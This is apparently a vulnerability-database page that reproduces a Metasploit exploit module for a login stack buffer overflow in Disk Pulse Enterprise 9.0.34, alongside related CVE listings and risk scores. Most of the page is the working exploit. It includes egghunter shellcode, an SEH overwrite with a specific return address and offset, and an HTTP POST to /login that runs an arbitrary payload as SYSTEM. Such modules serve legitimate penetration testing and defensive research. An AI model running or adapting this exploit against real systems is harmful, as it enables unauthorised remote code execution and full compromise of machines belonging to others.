Disk Pulse Enterprise Login Buffer Overflow
🗓️ 03 Oct 2016 00:00:00Reported by Chris Higgins, Tulpa SecurityType
metasploit🔗 www.rapid7.com👁 37 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2025-34108 | 29 May 201815:50 | – | circl | |
| Flexense DiskPulse Enterprise 安全漏洞 | 15 Jul 202500:00 | – | cnnvd | |
| CVE-2025-34108 | 15 Jul 202513:01 | – | cve | |
| CVE-2025-34108 Disk Pulse Enterprise 9.0.34 Login Stack Buffer Overflow | 15 Jul 202513:01 | – | cvelist | |
| EUVD-2025-21435 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34108 | 15 Jul 202513:15 | – | nvd | |
| Disk Pulse Enterprise Server Buffer Overflow Vulnerability | 2 Dec 201600:00 | – | openvas | |
| PT-2025-29550 · Unknown · Diskpulse Enterprise +1 | 15 Jul 202500:00 | – | ptsecurity | |
| CVE-2025-34108 | 17 Jul 202513:57 | – | redhatcve | |
| CVE-2025-34108 Disk Pulse Enterprise 9.0.34 Login Stack Buffer Overflow | 15 Jul 202513:01 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Disk Pulse Enterprise
9.0.34. If a malicious user sends a malicious HTTP login request,
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account. Due to size constraints, this module
uses the Egghunter technique.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Higgins', # msf Module -- @ch1gg1ns
'Tulpa Security' # Original discovery -- @tulpa_security
],
'References' => [
[ 'CVE', '2025-34108' ],
[ 'EDB', '40452' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' => {
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' => [
[
'Disk Pulse Enterprise 9.0.34',
{
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
'Offset' => 12600
}
],
],
'Privileged' => true,
'DisclosureDate' => '2016-10-03',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options([Opt::RPORT(80)])
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
return Exploit::CheckCode::Appears('Target appears to be vulnerable')
end
return Exploit::CheckCode::Safe('Target is not vulnerable')
end
def exploit
connect
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
print_status("Generating exploit...")
sploit = "username=admin"
sploit << "&password=aaaaa\r\n"
# Would like to use generate_egghunter(), looking for improvement
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
sploit << rand_text(target['Offset'] - payload.encoded.length)
sploit << "w00tw00t"
sploit << payload.encoded
sploit << make_nops(70)
sploit << rand_text(1614)
# Would like to use generate_seh_record(), looking for improvement
sploit << "\x90\x90\xEB\x0B"
sploit << "\x33\xA3\x01\x10"
sploit << make_nops(20)
sploit << egghunter
sploit << make_nops(7000)
# Total exploit size should be 21747
print_status("Total exploit size: " + sploit.length.to_s)
print_status("Triggering the exploit now...")
print_status("Please be patient, the egghunter may take a while...")
res = send_request_cgi({
'uri' => '/login',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'content-length' => '17000',
'data' => sploit
})
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Oct 2016 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 48.6
EPSS0.00862
SSVC